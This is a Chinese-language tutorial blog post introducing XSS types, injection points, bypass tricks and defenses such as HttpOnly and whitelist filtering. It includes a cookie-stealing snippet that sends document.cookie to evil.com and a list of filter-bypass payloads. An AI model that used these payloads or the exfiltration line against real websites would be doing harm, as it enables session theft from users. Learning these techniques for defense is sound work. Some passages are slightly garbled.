XSS大法

作者: 保持O童心 | 来源:发表于2019-03-26 17:12 被阅读0次

    这篇文章只是一些关于XSS我认为比较重要的地方,并没有系统的学习内容。具体的细节可以参考一些书本或者大佬的博客。

    书本:《白帽子将web安全》

    大佬博客:https://www.cnblogs.com/leestar54/p/5798937.html#wiz_toc_7

    这位大佬把白帽上的知识总结了一下 ,没有书的朋友可以直接看

    首先,XSS有三种类型(严格来说有两种)

    1.需要扎实的html、JavaScript、ActionScript(Flash XSS)功底(绕过与攻击语句)

    2.是一种被动的攻击手法

    3.website有http-only、crossdomian.xml时没有用

    1.反射型XSS

    发出请求时,XSS代码出现在URL中,作为输入,提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,所以叫做反射型XSS。

    2.存储型XSS

    存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。

    存储型的XSS危害最大,因为它是直接将代码存储进服务器中,每次使用该服务器都会令这段代码运行一次,比方在一个网页中存在存储型XSS,有人将窃取cookie的代码写进去,那么访问这个页面的所有用户的cookie都会被这个人得到,这会泄露大量的个人隐私,当然也可以写一些其他代码来进行不同的用处。

    最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当作正常的HTML与JavaScript解析执行,然后就出发了XSS攻击。

    3.DOM XSS

    DOM XSS和反射型、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS考的时浏览器端的DOM解析,完全是客户端的事情。DOM型也属于反射型,不过修改的是DOM节点。

    攻击时:img标签是自动触发而受到攻击的,p标签是引诱触发而受到攻击的,而iframe则是广告植入攻击。

    所使用的语言可分为JavaScript,flash,和其他富客户端语言。

    对于我们这些刚接触安全不久的新人来说,从教程上看到了一些代码,但是却不知道怎么使用是常有的事。

    写入JavaScript脚本的方法:

    1.从url中写入

    这个方法就不用多说了,有的网站会把一些参数放在url中,如果其中就有注入点的话那么直接把参数修改成想要的XSS攻击语句就好了。

    2.从控制台写入

    有时url中不会显示参数,这时我们可以从控制台中写入参数。

    (如果浏览器支持调试,可以使用console()方法在浏览器中显示JavaScript值)

    控制台中可以不用添加<script>标签。

    感觉这个很简单但是很重要。在学习时不论是看其他人的文章还是书本、官网,大佬们都是直接给出代码段。

    例如最简单的窃取cookie:

    var img=document.createElement("img"); img.src="http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);

    当时不知道要怎么实现这个代码段,后来看js教程的时候发现。

    使用控制台console

    将代码输入到下面输入框中

    如果觉得看不懂的话就修改一下代码:

    var img=document.createElement("img"); img.src="http://www.evil.com/log?"+alert(document.cookie); document.body.appendChild(img);

    这样就能找到cookie了。

    一些绕过的方法:

    "><script>alert(2)</script>

    "><SCript>alert(2)</SCript> //大小写

    "><scriscriptpt>alert(2)</scriscriptpt> //双写

    "><a href=javascript:alert(2)> //超链接

    "><iframe src=javascript:alert(2)> //创建一个内联框架

    "><img src=x onerror=javascript:alert(2)> //报错

    " onmouseover=javascript:alert(1)> //鼠标悬停

    " onclick=javascript:alert(1) //点击

    " onfocus=javascript:alert(1) autofocus=" //焦点,自动聚焦

    htmlspecialchars() //过滤尖括号'<'

    ......

    在绕过的时候既可以在原本的属性上直接添加,也能闭合原属性创建一个新的属性,还可以闭合原本的标签创建一个新的标签......还有许多其他的绕过方法,这里就不一一列举了。

    对于XSS来说,最重要的就是输入点和输出点,这两个地方时寻找XSS漏洞的关键。

    常见的输入点:

    document.URL

    document.URLUnencoded

    document.location

    document.referrer

    window.location

    window.name

    xhr请求回来的数据

    document.cookie

    表单项的值

    常见的输出点:

    直接输出html内容,如:

    document.write(...)

    document.writeln(...)

    document.body.innerHtml=...

    总之,XSS需要很好的HTML、JavaScript和ActionScript的功底(用来写攻击语句)。

    XSS平台:

    一般都会有自己习惯的XSS平台,里面包括一些攻击语句,也可以从这个平台接受语句返回的内容。

    Flash XSS:

    前面提到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。 

    在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写: 

    getURL(“javascript:alert(document.cookie)”) 

    ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。 

    由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。 

    嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。 

    Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。

    防护方法:

    使用httponly,如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。

    对输入和输出进行检查和过滤,最好使用白名单而不是黑名单。

    富文本

    有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本”。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTML代码来实现,而区分普通富文本和恶意文本的方法还是输入和输出的检查,在这两个地方要进行严格的筛选。 

    相关文章

      网友评论

          本文标题:XSS大法

          本文链接:https://www.haomeiwen.com/subject/gprivqtx.html